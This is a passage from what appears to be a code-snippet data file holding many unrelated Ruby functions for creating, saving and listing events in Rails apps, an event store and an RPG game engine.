eventDate.save\n\n\n if datetime[:date][:end_date] != nil and nil_or_string(datetime[:date][:end_date][:full_date]) != nil\n startDate = DateTime.parse(datetime[:date][:start_date][:full_date])\n endDate = DateTime.parse(datetime[:date][:end_date][:full_date])\n endInt = endDate.to_time.to_i\n currDate = startDate+1\n currDateInt = currDate.to_time.to_i\n while currDateInt <= endInt do\n eventDate = EventDateTime.new\n eventDate.event_id = newevent.id\n eventDate = setDateTime(eventDate, currDate, datetime[:time][:start_time], nil_or_string(datetime[:time][:end_time]))\n eventDate.save\n currDate = currDate + 1\n currDateInt = currDate.to_time.to_i\n end\n end\n end\n end\n end\n\n rescue\n #do nothing\n ensure\n eventCounter+=1\n end\n end\n\n statistic = Statistic.new\n statistic.num_sent = eventCounter\n statistic.total_events = saveCounter\n statistic.num_addresses = (Address.count(:all, :group => :event_id)).count()\n \n statsAllEvents = Event.all\n \n statistic.num_pdate = clean_and_count(statsAllEvents.pluck(:pdate))\n statistic.num_ptime = clean_and_count(statsAllEvents.pluck(:ptime))\n statistic.num_price = clean_and_count(statsAllEvents.pluck(:price))\n statistic.save()\n\n responseString = '{\"total\": \"'+eventCounter.to_s+'\", \"saved\":\"'+saveCounter.to_s+'\"}'\n respond_to do |format|\n format.html { render :html => responseString }\n format.json { render :json => responseString }\n \n end\n end",
"def get_events()\n\t\tevents = []\n\n\t\t@DB[:events].order(:date).each do |event|\n\t\t\tnewTimeslots = []\n\t\t\t@DB[:timeslots].where(parent_table: 'events', parent_id: event[:'id']).each do |timeslot|\n\t\t\t\tnewTimeslots.push(DateTime.parse(timeslot[:'time']))\n\t\t\tend\n\n\t\t\tnewAttendees = []\n\t\t\t@DB[:attendees].where(parent_id: event[:'id']).each do |attendee|\n\t\t\t\tattendeeTimeslots = []\n\t\t\t\t@DB[:timeslots].where(parent_table: 'attendees', parent_id: attendee[:'id']).each do |timeslot|\n\t\t\t\t\tattendeeTimeslots.push(DateTime.parse(timeslot[:'time']))\n\t\t\t\tend\n\n\t\t\t\tnewAttendee = Attendee.new(attendee[:'name'], attendeeTimeslots)\n\t\t\t\tnewAttendees.push(newAttendee)\n\t\t\tend\n\n\t\t\tnewEvent = Event.new(event[:'name'], event[:'description'], newTimeslots, newAttendees, event[:'id'])\n\t\t\tif newEvent.get_date >= @epoch\n\t\t\t\tevents.push(newEvent)\n\t\t\tend\n\t\tend\n\n\t\treturn events\n\tend",
"def event_all_new(events)\n raise NotImplementedError\n end",
"def seed_with_rest_client\n api = API.new\n raw_event_data = api.get_flatiron_events\n event_data = api.parse_event_information(raw_event_data)\n event_data.each do |event|\n Event.create(event)\n end\nend",
"def create\n\n @event = Event.new(event_params)\n\n # if @event.cloudy already exist => duplicate else create from scratch\n @cloudy = @event.cloudy ? @event.cloudy : Cloudy.create\n @save_is_ok = true\n\n # dates is range\n if @event.calendar_range_string.size > 0\n\n @event = Event.new(event_params)\n @event.organizer = ( current_member.has_role?(ROLE_ADMIN) && @event.teacher) ? @event.teacher : current_member\n @event.cloudy = @cloudy\n @event.duration = @event.end_at - @event.begin_at\n # force image to avoid uplaod a new image per event created\n @save_is_ok &&= @event.save\n\n if @save_is_ok\n ContactMailer.new_user_action('Nouvel évènement', @event.url).deliver_now\n @event.reload\n @cloudy.identifier = @event.image.filename\n @cloudy.prefix_cloudinary = 'http://res.cloudinary.com/' + YAML.load_file('config/cloudinary.yml')['production']['cloud_name'] + '/'\n @cloudy.save\n @event.index!\n end\n\n elsif @event.calendar_string.size > 0\n\n # multi_dates_id = Time.new is Id group of all items\n tab_dates = @event.calendar_string.split(',')\n time_stamp = Time.new\n\n @save_is_ok = tab_dates.count > 0\n\n flash[:alert] = \"Il faut choisir une ou plusieurs dates\" unless @save_is_ok\n\n tab_dates.each do |d|\n @event = Event.new(event_params)\n @event.multi_dates_id = time_stamp if tab_dates.count > 1\n @event.organizer = ( current_member.has_role?(ROLE_ADMIN) && @event.teacher) ? @event.teacher : current_member\n\n @event.cloudy = @cloudy\n # if local zone = Paris, the 2 instruction follow add + hours in execution but not in debug\n # so DO NOT CHANGE LOCAL ZONE\n time_at = I18n.l(@event.begin_at, format: '%H:%M')\n @event.begin_at = DateTime.strptime(d+' '+time_at, '%d/%m/%Y %H:%M')\n time_at = I18n.l(@event.end_at, format: '%H:%M')\n @event.end_at = DateTime.strptime(d+' '+time_at, '%d/%m/%Y %H:%M')\n @event.duration = @event.end_at - @event.begin_at\n\n # save once to get cloudinary infos, break if save not ok\n break unless @save_is_ok &&= @event.save\n\n if @save_is_ok\n ContactMailer.new_user_action('Nouvel évènement', @event.url).deliver_now\n if !@cloudy.identifier\n @event.reload\n @cloudy.identifier = @event.image.filename\n @cloudy.prefix_cloudinary = 'http://res.cloudinary.com/' + YAML.load_file('config/cloudinary.yml')['production']['cloud_name'] + '/'\n @cloudy.save\n params[:event].delete(:image)\n end\n @event.index!\n end\n end\n end\n\n respond_to do |format|\n if @save_is_ok\n format.html { redirect_to @event}\n format.json { render :show, status: :created, location: @event }\n else\n # simple_form doesn t show errors for :begin_at & :end_at because\n flash[:alert] = \"Problème dans la création de l événement\"\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def setup_region_events\n @region_events = {}\n # Region events from map note-tag\n @map.region_events.each do |region_id, event_id|\n @region_events[region_id] = event_id\n end\n # Region events from events on the map\n @map.events.each do |id, event|\n data = event.region_event\n if data.region_id != -1\n @region_events[data.region_id] = id\n end\n end\n end",
"def events\n collection = Miasma::Models::Orchestration::Stack::Events.new(self)\n collection.define_singleton_method(:perform_population) { [] }\n collection\n end",
"def create \n #transform address to lat+long\n address = \"#{event_params[:address]} #{event_params[:state]} #{event_params[:city]} #{event_params[:zip_code]}\"\n coordinates = GoogleGeocoder.geocode(address)\n #transform datetime_select form field to a datetime object\n\n start_t = DateTime.new(event_params[\"start_time(1i)\"].to_i, \n event_params[\"start_time(2i)\"].to_i,\n event_params[\"start_time(3i)\"].to_i,\n event_params[\"start_time(4i)\"].to_i,\n event_params[\"start_time(5i)\"].to_i)\n end_t = DateTime.new(event_params[\"end_time(1i)\"].to_i, \n event_params[\"end_time(2i)\"].to_i,\n event_params[\"end_time(3i)\"].to_i,\n event_params[\"end_time(4i)\"].to_i,\n event_params[\"end_time(5i)\"].to_i)\n \n #MANUALLY add field values to event - using a Hash caused a ton of errors\n @event = Event.new(title:event_params[:title],\n description:event_params[:description], \n event_tag_id:event_params[:event_tag_id],\n \n address:event_params[:address],\n state:event_params[:state],\n city:event_params[:city],\n zip_code:event_params[:zip_code],\n \n start_time: start_t,\n end_time: end_t,\n \n longitude:coordinates.longitude, \n latitude:coordinates.latitude,\n person_count_cap:event_params[:person_count_cap],\n user_id: current_user.id)\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_events(events)\n events.each do |e|\n new_event = Event.create(e)\n end\n end",
"def create_event(organizer, event_params)\n event = organizer.events.new(event_params)\n event.process_timezone.save\n event\n end",
"def buildEvents(events_json_response)\n\t\tevents = Array.new\n\t\t\n\t\tevents_json_response[\"results\"].each do |result|\n\t\t\tevent = {}\n\t\t\tevent[:name] = result[\"event_name\"]\n\t\t\tevent[:event_location] = \"#{result[\"neighborhood\"]}, #{result[\"street_address\"]}\"\n\t\t\tevent[:description] = result[\"web_description\"]\n\n\t\t\tarr = getCoordinates(\"#{result[\"neighborhood\"]}, #{result[\"street_address\"]}\")\n\n\t\t\tevent[:event_latitude] = arr[0] # lat\n\t\t\tevent[:event_longitude] = arr[1] # lon\n\t\t\n\n\t\t\t\n\t\t\tevents << event\n\t\t\t# Event.create!(events)\n\t\tend\t\n\n\t\tevents\n\n\tend",
"def events\n if latitude && longitude\n link :events, :Event, :lat => latitude, :long => longitude\n elsif city\n link :events, :Event, :location => city\n elsif country\n link :events, :Event, :location => country\n end\n end",
"def createEvent(eventData)\n rpgEvent = RPG::Event.new(eventData[3],eventData[4])\n rpgEvent.id = eventData[1]\n if eventData[9]\n # Must setup common event list here and now\n commonEvent = Game_CommonEvent.new(eventData[9])\n rpgEvent.pages[0].list = commonEvent.list\n end\n if eventData[8][/FollowerPkmn/]\n newEvent = Game_FollowerEvent.new(eventData[0],rpgEvent,$MapFactory.getMap(eventData[2]))\n else\n newEvent = Game_Event.new(eventData[0],rpgEvent,$MapFactory.getMap(eventData[2]))\n end\n newEvent.character_name = eventData[6]\n newEvent.character_hue = eventData[7]\n case eventData[5] # direction\n when 2 then newEvent.turn_down\n when 4 then newEvent.turn_left\n when 6 then newEvent.turn_right\n when 8 then newEvent.turn_up\n end\n return newEvent\n end",
"def create_database\n DATA[:calendars].each do |calendar|\n CalendarCoordinator::Calendar.create(calendar).save\n end\n\n calendar = CalendarCoordinator::Calendar.first\n DATA[:events].each do |event|\n calendar.add_event(event)\n end\n end",
"def create\n # TODO: this is a bit too hackish, and deals too much with handling attributes\n # -> move to model\n\n attrs = params[:event]\n attrs['location'] = Location.find_by_id_or_build_by_name(attrs['location'],\n attrs['location_id'])\n attrs['date'] = EuropeanDate.to_iso(attrs['date'])\n # attr location already contains loc, so we omit loc_id\n @event = Event.new(attrs.reject { |k,v| k == 'location_id' })\n\n respond_to do |format|\n if @event.save\n flash[:notice] = 'Tapahtuma luotu.'\n format.html { redirect_to events_path }\n # format.xml { render :xml => ... }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @event = Event.new(params[:event])\n unless @event.group\n # don't want to making and event unless a group\n # is given...\n flash[:notice] = 'Events must be created attached to a group'\n redirect_to :controller => 'groups', :action => 'index'\n return\n end\n\n unless @event.location\n flash[:notice] = 'Please pick a location for your event.'\n redirect_to :controller => 'locations', :action => 'choose',\n :group => @event.group\n return\n end\n\n respond_to do |format|\n if @event.save\n flash[:notice] = 'Event was successfully created.'\n format.html { redirect_to(:controller => 'groups', :action => 'show',\n :id => @event.group_id) }\n\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n @group = @event.group\n @locations_list = @group.locations.uniq.map { |location|\n [ location.name, location.id ]\n }\n\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def events\n @events ||= Schedule.new\n end",
"def create_events\n # Create the toot Event\n Event.create(user: author, action: 'toot', subject: self)\n # Find any mentions contained in the Toot and create an event for each\n body.scan(/(?:@)(\\w+)/) do |handle|\n Event.create(initiator: User.find_by(handle: handle), action: 'mentioned', subject: self)\n end\n end",
"def create_events(db: EventSourcery::Postgres.config.event_store_database,\n table_name: EventSourcery::Postgres.config.events_table_name)\n db.run 'CREATE EXTENSION IF NOT EXISTS \"uuid-ossp\"'\n db.create_table(table_name) do\n primary_key :id, type: :Bignum\n column :uuid, :uuid, null: false, default: Sequel.lit('uuid_generate_v4()')\n column :aggregate_id, :uuid, null: false\n column :type, :varchar, null: false, size: 255\n column :body, :json, null: false\n column :version, :bigint, null: false\n column :correlation_id, :uuid\n column :causation_id, :uuid\n column :created_at, :'timestamp without time zone', null: false, default: Sequel.lit(\"(now() at time zone 'utc')\")\n index [:aggregate_id, :version], unique: true\n index :uuid, unique: true\n index :type\n index :correlation_id\n index :causation_id\n index :created_at\n end\n end",
"def new\n @location = Location.find(params[:location_id])\n @event = @location.events.build\n @event.event_details.build\n @event_types = EventType.all(:order => 'name')\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def make_event_hooks\n @event_handler = GlobalEventHandler.new @clock\n \n hooks = {\n MouseMoveTrigger.new( :none ) => :mouse_moved,\n InstanceOfTrigger.new(InvadingEvent) => :enemy_missed,\n InstanceOfTrigger.new(DeadEvent) => :enemy_defeated,\n InstanceOfTrigger.new(UpgradeEvent) => :tower_upgrade,\n :mouse_left => :create_tower,\n :escape => :quit,\n :q => :quit,\n QuitRequested => :quit\n }\n\n make_magic_hooks( hooks )\n end",
"def create\n title = params[:event][:title]\n desc = params[:event][:description]\n # get the start time of events creation\n start_time_str = params[:start_time]\n start_time = DateTime.strptime(start_time_str, \"%Y - %m - %d %I:%M %p\")\n\n # get the end time of events creation\n end_time_str = params[:end_time]\n endT = DateTime.strptime(end_time_str, \"%Y - %m - %d %I:%M %p\")\n\n # only create one event in this case\n if params[:event][:repeat] == \"Does not repeat\"\n @event = Event.new(:title => title, :description => desc, :start_time => start_time, :end_time => endT, :occupied => false)\n if @event.save\n redirect_to events_path\n #format.html { redirect_to @event, notice: 'Event was successfully created.' }\n #format.json { render :show, status: :created, location: @event }\n else\n render 'new'\n end\n\n # create multiple events in this case from start time to end time, by create each event one by one.\n else\n gap = 30.minutes\n if params[:event][:repeat] == \"Reapeat Every Hour\"\n gap = 1.hours\n end\n\n exception = params[:event][:exception]\n replication = params[:event][:replicate]\n\n # there is gap time for the creation of events in every day\n if exception == \"1\"\n except_start = params[:event][:except_time_start]\n except_end = params[:event][:except_time_end]\n\n # get the start and end time of the gap time\n except_from = DateTime.strptime(except_start, \"%I:%M %p\")\n except_to = DateTime.strptime(except_end, \"%I:%M %p\")\n end\n\n # get the start and end time in Time format\n start_hour_minute = start_time.strftime(\"%H:%M\")\n start_date = start_time.strftime(\"%Y - %m - %d\")\n end_hour_minute = DateTime.strptime(params[:end_time], \"%Y - %m - %d %I:%M %p\").strftime(\"%H:%M\")\n\n # find out whether the creation is under replicaiton condition\n if (replication == \"No Replication\")\n stop_time_str = params[:end_time]\n stop_time = DateTime.strptime(stop_time_str, \"%Y - %m - %d %I:%M %p\")\n else\n # get the stop date of the replication\n stop_time_str = params[:event][:stop_time] + \" \" + end_hour_minute\n stop_time = DateTime.strptime(stop_time_str, \"%Y - %m - %d %H:%M\")\n end\n\n # the default working time is from 9am to 8pm\n from = DateTime.strptime(start_hour_minute, \"%H:%M\")\n nine_oclock_am = DateTime.strptime(\"09:00\", \"%H:%M\")\n to = DateTime.strptime(end_hour_minute, \"%H:%M\")\n eight_oclock_pm = DateTime.strptime(\"20:00\", \"%H:%M\")\n\n # if the creation time is set out of the working time range, events will not be created out of the working time range\n if from < nine_oclock_am\n from = nine_oclock_am\n end\n if to > eight_oclock_pm \n \n to = eight_oclock_pm\n end\n\n # get the start time and end time of next event needs to be created\n nst = DateTime.strptime(start_time_str, \"%Y - %m - %d %I:%M %p\")\n net = nst + gap\n\n caliberate = 0\n \n # keep creating new events until the end time of next created event is out of the creating time range\n while net <= stop_time\n nst_hour_minute = DateTime.strptime(nst.strftime(\"%H\") + nst.strftime(\"%M\"), \"%H%M\")\n net_hour_minute = DateTime.strptime(net.strftime(\"%H\") + net.strftime(\"%M\"), \"%H%M\")\n nst_day = nst.strftime(\"%u\").to_i\n\n # make sure the the end time creating events is not out of working time range, nor in the gap time \n if (nst_hour_minute >= from && ((replication == \"No Replication\" && net_hour_minute <= eight_oclock_pm) || (replication != \"No Replication\" && net_hour_minute <= to))) && \n (replication == \"No Replication\" || (replication == \"Replicate On Weekdays\" && nst_day >= 1 && nst_day <= 5) || (replication == \"Replicate On Weekends\" && nst_day == 6)) \n if exception == \"1\"\n if net_hour_minute <= except_from\n @newEvent1 = Event.new(:title => title, :description => desc, :start_time => nst, :end_time => net, :occupied => false)\n @newEvent1.save\n elsif nst_hour_minute >= except_to\n @newEvent2 = Event.new(:title => title, :description => desc, :start_time => nst, :end_time => net, :occupied => false)\n @newEvent2.save\n end\n\n if nst_hour_minute >= except_from && nst_hour_minute < except_to && (nst_hour_minute + gap) > except_to\n caliberate = 1\n end\n else\n @newEvent = Event.new(:title => title, :description => desc, :start_time => nst, :end_time => net, :occupied => false)\n @newEvent.save\n end\n end\n\n # if the start time of a new created event of each new day is not start from 9am or the start time set by the tester, caliberate it to be the start time \n if caliberate == 0\n nst = net\n else\n nst = DateTime.strptime(nst.strftime(\"%Y\") + nst.strftime(\"%m\") + nst.strftime(\"%d\") + except_to.strftime(\"%H\") + except_to.strftime(\"%M\"), \"%Y%m%d%H%M\")\n caliberate = 0\n end\n\n if nst.strftime(\"%k\").to_i == 23 && (nst + gap).strftime(\"%k\").to_i == 0\n nst = (nst + gap).beginning_of_day\n end\n net = nst + gap\n end\n\n redirect_to events_path, notice: 'Events have been created successfully.'\n end\n\n end",
"def events\n event_lookup()\n end",
"def events\n event_lookup()\n end",
"def scrape_events\n @scraper.scrape_and_create_events\n end",
"def events(count = 1, options = {}, recurring = false)\n count.times do\n attributes = { name: Faker::Lorem.word,\n location: Location.all.sample,\n category_id: Category.where(name: REG).first.id, \n adm: 20+Random.rand(11),\n start_dt: Faker::Time.between(Time.now, 180.days.from_now, :night), \n description: Faker::Lorem.paragraph(2),\n photo: Faker::Avatar.image }.merge(options)\n event = Event.new(attributes)\n event.save\n if recurring\n event.update_attributes(listed_type: OCCURRENCE.sample,\n listed_day: DAYNAMES.sample,\n listed_month: MONTHNAMES.sample,\n category: Category.where.not(name: REG).sample)\n end\n \n end\n self.report.increment(:events, count)\n end",
"def create\n user = current_user\n if(params[:usemap] == \"true\")\n event = Event.create(title: params[:title],\n summary: params[:summary],\n description: params[:description],\n time: makeDate(params[:date], params[:time]),\n venue: params[:venue],\n host: user.name,\n lat: params[:map_lat],\n lng: params[:map_lng])\n else\n event = Event.create(title: params[:title],\n summary: params[:summary],\n description: params[:description],\n time: makeDate(params[:date], params[:time]),\n venue: params[:venue],\n host: user.name)\n end\n if event.valid?\n part = Participant.create(user_id: user.id,\n event_id: event.id,\n role: \"host\")\n if part.valid?\n flash[:event_succ] = \"You have successfully created #{event.title}\"\n else\n event.delete\n flash[:event_fail] = \"You have failed to create #{event.title}:(\"\n end\n else\n flash[:event_fail] = \"You have failed to create #{event.title}:(\"\n end\n redirect_to root_url\n end",
"def create_event(user, name, location, description)\n\t\tevent = Event.create(user_id: user, name: name, location: location, description: description)\n\tend",
"def create\n event = Event.new(event_params)\n event.creator_id = @creator_id\n tag = Tag.new(tag_params)\n position = Position.new(position_params)\n\n if Tag.find_by_name(tag.name.downcase).present?\n tag = Tag.find_by_name(tag.name.downcase)\n end\n\n event.tags << tag\n event.position = position\n if event.save && tag.save && position.save\n respond_with event, location: url_for([:api, event]), status: :created\n else\n error = ErrorMessage.new(\"Could not create the Event\", \"Something went wrong\")\n respond_with error, status: :bad_request\n end\n end",
"def create\r\n @projects_pages = []\r\n projects = Project.all.sort{|a,b| a.name <=> b.name}\r\n projects.each do |project|\r\n @projects_pages << [\"#{project.name}\", project.pages.exclude_placeholder] unless project.pages.blank?\r\n end\r\n\r\n @event = Event.new(params[:event])\r\n\r\n @event.is_published = true unless params[:is_published].blank?\r\n\r\n params[:connection_dialogs].values.each { |value| @event.connection_dialog_list << value.strip unless value.blank? } if params[:connection_dialogs]\r\n params[:organizations].values.each { |value| @event.organization_list << value.strip unless value.blank? } if params[:organizations]\r\n params[:affiliations].values.each { |value| @event.affiliation_list << value.strip unless value.blank? } if params[:affiliations]\r\n #arenas comes in as a HashWithIndifferentAccess\r\n params[:arenas][0].to_hash.values.each { |value| @event.arena_list << value.strip unless value.blank?} if params[:arenas]\r\n params[:tags].values.each { |value| @event.tag_list << value.strip unless value.blank? } if params[:tags]\r\n #web_links comes in as a HashWithIndifferentAccess\r\n params[:web_links][0].to_hash.values.each { |value| @event.web_link_list << value.strip unless value.blank? } if params[:web_links]\r\n\r\n event_users = []\r\n event_users << current_user\r\n\r\n @event.errors.add(:location, \"can't be blank\" ) if params[:event][:location].first.blank?\r\n\r\n respond_to do |format|\r\n if @event.errors.empty? && @event.save\r\n expire_fragment('all_funders')\r\n expire_fragment('all_projects')\r\n Rails.cache.delete('total_stats')\r\n\r\n event_users += User.all(:include => :projects, :conditions => [\"projects.id = ?\", @event.page.project.id])\r\n event_users.uniq!\r\n @event.users << event_users\t\t\t\t\r\n @event.save!\r\n\r\n unless @event.location.first.blank?\r\n location = Location.find_by_name(@event.location.first.name)\r\n unless location\r\n location = Location.new\r\n location.name = @event.location.first.name\r\n sleep(1) #ensure requests are made only once per second, in the event we are flooded with form submissions. Google gets mad if requests are too frequent\r\n res=Geokit::Geocoders::MultiGeocoder.geocode(\"#{location.name}\")\r\n location.lat = res.lat\r\n location.lng = res.lng\r\n location.save!\r\n end\r\n end\r\n\r\n session[:from_event] = nil\r\n session[:from_page] = nil\r\n flash[:notice] = @event.is_published? ? \"Event was successfully created.\" : \"The draft of this event was successfully created.\"\r\n format.html { redirect_to(@event) }\r\n format.xml { render :xml => @event, :status => :created, :location => @event }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @event = Event.new(event_params)\n @event.save!\n @events = Event.where(user_id: current_user.id)\n end",
"def events\n @events ||= LIFECYCLE_EVENTS.each_with_object({}) { |e, a| a[e] = [] }\n end",
"def add_event(doc, n, *args)\r\n# p 'Add event ' + args[1][0..199]\r\n new_event = CalendarEvent.find_or_initialize_by_pageextsourceID(:pageextsourceID => doc.xpath(\"//item//id\")[n].text, \r\n :event_type => 'ce', :event_title => args[1][0..199],\r\n :cbody => doc.xpath(\"//item//description\")[n].text, \r\n :postdate => DateTime.parse(doc.xpath(\"//item//pubDate\")[n].text),\r\n :eventstartdate => args[2], :eventstarttime => args[2], :eventenddate => args[3], :eventendtime => args[3],\r\n :contentsourceURL => args[5][0..99], \r\n :location => doc.xpath(\"//item//xCal:location\")[n].text,\r\n :mapplacename => doc.xpath(\"//item//xCal:adr//xCal:x-calconnect-venue-name\")[n].text[0..59],\r\n :mapstreet => doc.xpath(\"//item//xCal:adr//xCal:x-calconnect-street\")[n].text[0..39],\r\n :mapcity => doc.xpath(\"//item//xCal:adr//xCal:x-calconnect-city\")[n].text[0..39],\r\n :mapstate => doc.xpath(\"//item//xCal:adr//xCal:x-calconnect-region\")[n].text[0..24],\r\n :mapzip => doc.xpath(\"//item//xCal:adr//xCal:x-calconnect-postalcode\")[n].text[0..9],\r\n :mapcountry => doc.xpath(\"//item//xCal:adr//xCal:x-calconnect-country\")[n].text[0..39],\r\n :contactphone => doc.xpath(\"//item//phone\")[n].text[0..14],\r\n :contentsourceID => args[4], :localGMToffset => args[6], :endGMToffset => args[6],\r\n :subscriptionsourceID => args[4]) \r\n new_event.longitude, new_event.latitude = doc.xpath(\"//item//geo:long\")[n].text.to_f, doc.xpath(\"//item//geo:lat\")[n].text.to_f \r\n new_event.imagelink = doc.xpath(\"//item//images//url\")[n].text rescue nil\r\n new_event.save(:validate=>false)\r\n end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events\n end",
"def events\n @events ||= {}\n end",
"def create\n @event = Event.new(event_params)\n# @event.create_eventbrite_event(event_params)\n# @event.create_eventbrite_tickets\n\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def setup\n create_three_track_objects\n create_three_event_objects\n add_track_ids_to_event_objects\n end",
"def create\n\t\t@event = Event.new(params[:event])\n\t\t#set the recurring fields to \"not recurring\" when the recurrance is not selected\n\t\tif !params[:event][:recurring]\n\t\t\t@event.recurring = Event::NOT_RECURRING\n\t\tend\t\t\n\t\t@branch = Branch.find(params[:branch_id])\n\t\tt_ids = params[:teachers].split(\",\") || []\n\t\tsec_ids = params[:section_ids] || []\n\t\tteachers = []\n\t\tsections = []\n\t\tbranches = []\n\t\tif t_ids.include?(\"0\")\n\t\t\tteachers = Branch.find(params[:branch_id]).teachers\n\t\telse\n\t\t\tt_ids.each do |tid|\n\t\t\t\tteachers << Teacher.find(tid)\n\t\t\tend\n\t\tend\n\t\tsec_ids.each do |sid|\n\t\t\tsections << Section.find(sid)\n\t\tend\n\t\tif params[:branch_event]\n\t\t\tbranches << Branch.find(params[:branch_id])\n\t\tend\n\n\t\t@event.teachers = teachers\n\t\t@event.sections = sections\n\t\t@event.branches = branches\n\n\t\tif @event.valid? && @event.schedules.all?(&:valid?)\n\t\t\t@event.save!\n\t\t\t@event.schedules.each(&:save!)\t\n\t\t\tredirect_to(@event, :notice => 'Event was successfully created.')\n\t\telse\n\t\t\tflash[:notice] = 'Cannot create Event'\t\t\t\n\t\t\trender :action => \"new\"\n\t\tend\n\tend",
"def create\n @simple_event = Event.create(params[:event])\n #create a ci object\n ci = ContactInfo.create :name => @simple_event.contact_name, :phone => @simple_event.contact_phone, :email => @simple_event.contact_email\n\t @simple_event.contact_info = ci\n search_types = params[:search_request]['types']\n counter = 1\n search_types.each do | et |\n \t#create a race, and also add an event type\n \tev_type = EventType.find(et)\n \t\n \trace = Race.new :start_time => @simple_event.event_date, :event_type => ev_type, :name => ev_type.name, :event => @simple_event\n \trace.race_group = @simple_event.race_groups.first\n \trace.race_group_order = counter\n \tcounter += 1\n \t#set the name, and start date according to the parent event\n \t@simple_event.races << race\n \t@simple_event.event_types << ev_type\n end\n #set the event to be approved\n @simple_event.approved = true\n @simple_event.manage_type = current_user.id\n\tif @simple_event.save\n flash[:notice] = 'event was successfully created.'\n redirect_to :action => \"new\"\n end \n end",
"def create_event_store(db: EventSourcery::Postgres.config.event_store_database,\n events_table_name: EventSourcery::Postgres.config.events_table_name,\n aggregates_table_name: EventSourcery::Postgres.config.aggregates_table_name,\n write_events_function_name: EventSourcery::Postgres.config.write_events_function_name)\n create_events(db: db, table_name: events_table_name)\n create_aggregates(db: db, table_name: aggregates_table_name)\n create_or_update_functions(db: db, events_table_name: events_table_name, function_name: write_events_function_name, aggregates_table_name: aggregates_table_name)\n end",
"def build_event_registry\n Jace::Registry.new.tap do |registry|\n registry.register(:save, :after, &after_save)\n registry.register(:save, :before, &before_save)\n end\n end",
"def build_event_hash\n\t\t@event_hash = {}\n\t\t\n\t\teach_event { |event| @event_hash[event.id] = event }\n\tend",
"def call(events)\n events.each { |event| Rails.configuration.gcal_service.insert_event('primary', event) }\n\tend",
"def create\n event = Event.new(event_params.except(:tags, :position))\n\n event.creator = Creator.find_by creatorname: @creator_name\n\n if event_params[:tags].present?\n tags_params = event_params[:tags]\n tags_params.each do |tag|\n #If tag exists in database, associate this tag, else create a new tag\n if Tag.exists?(tag)\n event.tags << Tag.find_by(tag)\n else\n event.tags << Tag.new(tag)\n end\n end\n end\n\n if event_params[:position].present?\n\n position = event_params[:position]\n\n if Position.find_by(position)\n event.position = Position.find_by(position)\n else\n new_position = Position.create(position)\n event.position = new_position\n end\n end\n\n if event.save\n render json: event, include: [:tags, :creator, :position], status: :created\n else\n render json: event.errors, status: :unprocessable_entry\n end\n end",
"def initialize(events)\n @events = events\n end",
"def create\n @event = Event.new(event_params)\n \n respond_to do |format|\n \n if @event.volunteer_ids == nil\n return\n end\n if @event.save\n @event.volunteer_ids.to_a.each do |volunteer_id|\n if volunteer_id.present?\n @event_volunteer_map = EventVolunteerMap.new\n @event_volunteer_map.assign_attributes({:event_id => @event.id, :volunteer_id=> volunteer_id})\n @event_volunteer_map.save(:validate=>false)\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n @volunteers = Array.new\n @cities = City.where(:state_id => event_params[:state_id]).order(:name)\n @selecte_city = event_params[:city_id]\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n \n end\n end",
"def create_events_and_webhook_send_logs\n return if @filtered_webhook_settings.blank?\n\n @event_obj = Event.create!(\n client_id: @client_id,\n source: @event_source,\n name: @event_name,\n result_type: event_type,\n timestamp: @event_timestamp,\n data: encrypted_data\n )\n\n @filtered_webhook_settings.each do |cws|\n\n WebhookSendLog.create!(\n client_id: @client_id,\n client_webhook_setting_id: cws.id,\n event_id: @event_obj.id,\n next_timestamp: Time.now.to_i,\n status: GlobalConstant::WebhookSendLog.unprocessed_status,\n failed_count: 0,\n lock_id: @lock_id\n )\n end\n end",
"def index\n\t\t\t@events = Event.active.by_recent\n\t\t\t@hash = Gmaps4rails.build_markers(@events) do |event, marker|\n\t\t\t location_link = view_context.link_to 'View events at '+ event.venue.name, venue_path(event.venue)\n\t\t\t marker.lat event.venue.latitude\n\t\t\t marker.lng event.venue.longitude\n\n\t marker.infowindow \"\n\t\t\t\t\t<h4>#{event.venue.name}</h4>\n\t\t\t\t\t<p>#{event.venue.address1 }</p>\n\t\t\t\t\t<p>#{event.venue.address2 }<br/>\n\t\t\t\t\t<p>#{event.venue.city }, #{event.venue.state }, #{event.venue.zip }</p>\n\t\t\t\t\t<p><u>#{location_link}</u></p>\n\t\t\t\t\" \n\t\t\tend\n\t\t\tget_parent\n\t\tend",
"def create\n params_for_model = Meetup::GetListOfParamsForModel.new.perform(\n meetup_event_params[:input_text]\n )\n\n return if params_for_model.searched_for_only_one_event? and\n errors?(params_for_model)\n\n params_for_model.list.each do\n |existing_event:, params:, errors_wrapper:|\n next if no_need_to_create_event?(errors_wrapper, existing_event)\n\n meetup_event = Meetup::CreateEvent.new.perform(params, user_id)\n\n next if errors? meetup_event, flash_error: false\n add_to_cookie_for_event_ids meetup_event.id\n end\n\n cable_broadcast\n head :ok\n end",
